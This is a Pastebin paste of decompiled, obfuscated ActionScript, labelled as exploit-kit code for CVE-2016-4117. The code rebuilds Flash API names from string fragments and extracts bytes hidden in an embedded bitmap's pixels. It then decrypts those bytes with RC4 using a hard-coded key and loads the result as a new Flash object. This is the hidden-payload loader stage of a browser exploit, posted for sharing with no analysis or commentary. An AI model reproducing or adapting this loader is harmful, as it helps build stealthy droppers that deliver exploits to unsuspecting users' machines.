Guest User

CVE-2016-4117 Decompile source code

a guest
May 25th, 2016
875
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.63 KB | None | 0 0
  1. #hunter Exploitkit
  2. #CVE-2016-4117
  3. # https://twitter.com/hunter_exploit
  4.  
  5. //class IlllI
  6. package
  7. {
  8. public class IlllI extends Object
  9. {
  10. public function IlllI()
  11. {
  12. super();
  13. return;
  14. }
  15.  
  16.  
  17. {
  18. 1lIl1 = "w";
  19. lI1l = "";
  20. I1l1Il11 = "";
  21. II = "m";
  22. II1I1I1 = "s";
  23. 1l = "h";
  24. 11IIl1ll = "j";
  25. 1IlIIl1 = "k";
  26. I11lIl1 = "i";
  27. lIl1lI = "v";
  28. 1I1l1l = "c";
  29. 1II1lI = "k";
  30. lIIl1 = "u";
  31. 1IIl1 = "o";
  32. lII1I = "a";
  33. 1I = "f";
  34. l11Il = "r";
  35. lllI1l = "";
  36. lllI1l = "goto" + "AndPl" + "ay";
  37. 1lIl1 = "a" + "ddedToS" + "tage";
  38. I11lIl1 = "flash.u" + "tils" + ".B" + "yteAr" + "ray";
  39. lI1l = "writ" + "eBy" + "te";
  40. 11llI = "get" + "Pixel";
  41. Ill1l1 = "heig" + "ht";
  42. I1l1Il11 = "u" + "ncompr" + "ess";
  43. 1ll1l = "bit" + "mapDa" + "ta";
  44. II = "all" + "owDoma" + "in";
  45. II1I1I1 = "c" + "urrent" + "Dom" + "ain";
  46. 1l = "len" + "gth";
  47. 1lI1l1 = "wi" + "dth";
  48. 11IIl1ll = "getD" + "efin" + "ition";
  49. 1IlIIl1 = "flash.d" + "is" + "p" + "lay.Loader";
  50. lIl1lI = "st" + "a" + "g" + "e";
  51. 1I1l1l = "addE" + "vent" + "Li" + "stener";
  52. 1II1lI = "rem" + "oveE" + "ventLis" + "tener";
  53. lIIl1 = "lo" + "a" + "dByt" + "es";
  54. 1IIl1 = "addCh" + "ild";
  55. lII1I = "flash.syste" + "m.Sec" + "urity";
  56. 1I = "char" + "CodeA" + "t";
  57. l11Il = "posi" + "tion";
  58. }
  59.  
  60. public static var 1lIl1:String="w";
  61.  
  62. public static var Ill1l1:String;
  63.  
  64. public static var lI1l:String="";
  65.  
  66. public static var I1l1Il11:String="";
  67.  
  68. public static var II:String="m";
  69.  
  70. public static var II1I1I1:String="s";
  71.  
  72. public static var 1l:String="h";
  73.  
  74. public static var 11IIl1ll:String="j";
  75.  
  76. public static var 1lI1l1:String;
  77.  
  78. public static var 1IlIIl1:String="k";
  79.  
  80. public static var I11lIl1:String="i";
  81.  
  82. public static var lIl1lI:String="v";
  83.  
  84. public static var 11llI:String;
  85.  
  86. public static var 1I1l1l:String="c";
  87.  
  88. public static var 1II1lI:String="k";
  89.  
  90. public static var lIIl1:String="u";
  91.  
  92. public static var 1IIl1:String="o";
  93.  
  94. public static var lII1I:String="a";
  95.  
  96. public static var 1I:String="f";
  97.  
  98. public static var 1ll1l:String;
  99.  
  100. public static var l11Il:String="r";
  101.  
  102. public static var lllI1l:String="";
  103. }
  104. }
  105.  
  106.  
  107. //class l1_lI_11_1llI_11_Il_Il1
  108. package
  109. {
  110. import flash.display.*;
  111. import flash.system.*;
  112. import flash.utils.*;
  113.  
  114. public class l1_lI_11_1llI_11_Il_Il1 extends flash.display.MovieClip
  115. {
  116. public function l1_lI_11_1llI_11_Il_Il1(arg1:uint=0)
  117. {
  118. this.ll1Il1l = lI_11l_Ill_IlI_l1_1l1;
  119. super();
  120. this.1 = flash.system.ApplicationDomain[IlllI.II1I1I1];
  121. if (this[IlllI.lIl1lI])
  122. {
  123. this.l1I1l();
  124. }
  125. else
  126. {
  127. var loc1:*;
  128. (loc1 = this)[IlllI.1I1l1l](IlllI.1lIl1, this.l1I1l);
  129. }
  130. return;
  131. }
  132.  
  133. public function l1I1l():void
  134. {
  135. var loc1:*=null;
  136. var loc2:*=undefined;
  137. var loc3:*=null;
  138. var loc4:*=undefined;
  139. try
  140. {
  141. loc1 = IlllI.1II1lI;
  142. (loc5 = this)[loc1](IlllI.1lIl1, this.l1I1l);
  143. loc2 = this.11Il11lll();
  144. loc2 = this.l1I1llI(loc2);
  145. loc3 = IlllI.1IIl1;
  146. (loc5 = loc4 = new ((loc5 = this.1)[IlllI.11IIl1ll](IlllI.1IlIIl1) as Class)())[IlllI.lIIl1](loc2);
  147. (loc5 = this)[loc3](loc4);
  148. }
  149. catch (e:Error)
  150. {
  151. };
  152. return;
  153. }
  154.  
  155. internal function lII1IlI1():*
  156. {
  157. var loc1:*="2550586827383356736546741637" + "9451343324856475759404798327";
  158. var loc5:*;
  159. var loc2:*=new ((loc5 = this.1)[IlllI.11IIl1ll](IlllI.I11lIl1) as Class)();
  160. var loc3:*=0;
  161. var loc4:*=0;
  162. while (loc4 < loc1[IlllI.1l])
  163. {
  164. loc3 = (loc5 = loc1)[IlllI.1I](loc4);
  165. (loc5 = loc2)[IlllI.lI1l](loc3);
  166. ++loc4;
  167. }
  168. loc2[IlllI.l11Il] = 0;
  169. return loc2;
  170. }
  171.  
  172. internal function 11Il11lll():*
  173. {
  174. var loc8:*=0;
  175. var loc9:*=0;
  176. var loc10:*;
  177. var loc1:*=new ((loc10 = this.1)[IlllI.11IIl1ll](IlllI.I11lIl1) as Class)();
  178. var loc2:*=new this.ll1Il1l()[IlllI.1ll1l];
  179. var loc3:*=loc2[IlllI.1lI1l1];
  180. var loc4:*=loc2[IlllI.Ill1l1];
  181. var loc5:*=0;
  182. var loc6:*=0;
  183. var loc7:*=0;
  184. while (loc7 < loc3)
  185. {
  186. loc8 = 0;
  187. while (loc8 < loc4)
  188. {
  189. loc9 = (loc10 = loc2)[IlllI.11llI](loc7, loc8);
  190. if (loc7 == 0 && loc8 == 0)
  191. {
  192. loc5 = loc9 & 16777215;
  193. }
  194. else
  195. {
  196. if (loc1[IlllI.1l] == loc5)
  197. {
  198. break;
  199. }
  200. (loc10 = loc1)[IlllI.lI1l](loc9 & 255);
  201. if (loc1[IlllI.1l] == loc5)
  202. {
  203. break;
  204. }
  205. (loc10 = loc1)[IlllI.lI1l](loc9 >> 8 & 255);
  206. if (loc1[IlllI.1l] == loc5)
  207. {
  208. break;
  209. }
  210. (loc10 = loc1)[IlllI.lI1l](loc9 >> 16 & 255);
  211. }
  212. ++loc8;
  213. }
  214. if (loc1[IlllI.1l] >= loc5)
  215. {
  216. break;
  217. }
  218. ++loc7;
  219. }
  220. loc1[IlllI.l11Il] = 0;
  221. return loc1;
  222. }
  223.  
  224. public function l1I1llI(arg1:*):*
  225. {
  226. var loc1:*=this.lII1IlI1();
  227. var loc16:*;
  228. var loc2:*=new ((loc16 = this.1)[IlllI.11IIl1ll](IlllI.I11lIl1) as Class)();
  229. var loc3:*;
  230. var loc4:*=(loc3 = 9 - 8 - 1);
  231. var loc5:*=0 + 0;
  232. var loc6:*=27 - 27 + 0;
  233. var loc7:*=33 - 33;
  234. var loc8:*=48 - 48;
  235. var loc9:*=113 - 113;
  236. var loc10:*=loc3 + 1 - 2;
  237. var loc11:*=10 + 10 - 20;
  238. var loc12:*=181 - 181;
  239. var loc13:*=10 + 10 - 20 - 0;
  240. var loc14:*=2342 - 2342;
  241. loc12 = 0;
  242. while (loc12 < 256)
  243. {
  244. (loc16 = loc2)[IlllI.lI1l](loc12);
  245. ++loc12;
  246. }
  247. var loc15:*=loc11 - loc10;
  248. loc2[IlllI.l11Il] = loc15 + loc10 + loc11;
  249. loc4 = 0;
  250. while (loc4 < 256)
  251. {
  252. loc8 = loc1[loc7] + (loc2[loc4] & 255) + loc8 & 255;
  253. loc15 = 0 + 0 + loc2[loc4];
  254. loc2[loc4] = loc2[loc8];
  255. loc2[loc8] = loc15;
  256. loc7 = (loc7 + 1 & 255) % loc1[IlllI.1l] & 240 + 15;
  257. ++loc4;
  258. }
  259. loc2[IlllI.l11Il] = 0;
  260. loc4 = 0;
  261. while (loc4 < arg1[IlllI.1l])
  262. {
  263. loc5 = loc5 + 1 & 240 + 15;
  264. loc6 = 0 + ((loc2[loc5] & 255) + loc6) & 255;
  265. loc15 = loc2[loc5];
  266. loc2[loc5] = loc2[loc6];
  267. loc2[loc6] = loc15;
  268. loc9 = 0 + ((loc2[loc5] & 255) + (loc2[loc6] & 255)) & 255;
  269. arg1[loc4] = 0 + 0 + arg1[loc4] & 255 ^ loc2[loc9];
  270. ++loc4;
  271. }
  272. return arg1;
  273. }
  274.  
  275. internal var 1:*;
  276.  
  277. internal var ll1Il1l:Class;
  278. }
  279. }
  280.  
  281.  
  282. //class lI_11l_Ill_IlI_l1_1l1
  283. package
  284. {
  285. import mx.core.*;
  286.  
  287. public class lI_11l_Ill_IlI_l1_1l1 extends mx.core.BitmapAsset
  288. {
  289. public function lI_11l_Ill_IlI_l1_1l1()
  290. {
  291. super();
  292. return;
  293. }
  294. }
  295. }
  296.  
  297.  
  298. And with MX package
Advertisement
Add Comment
Please, Sign In to add comment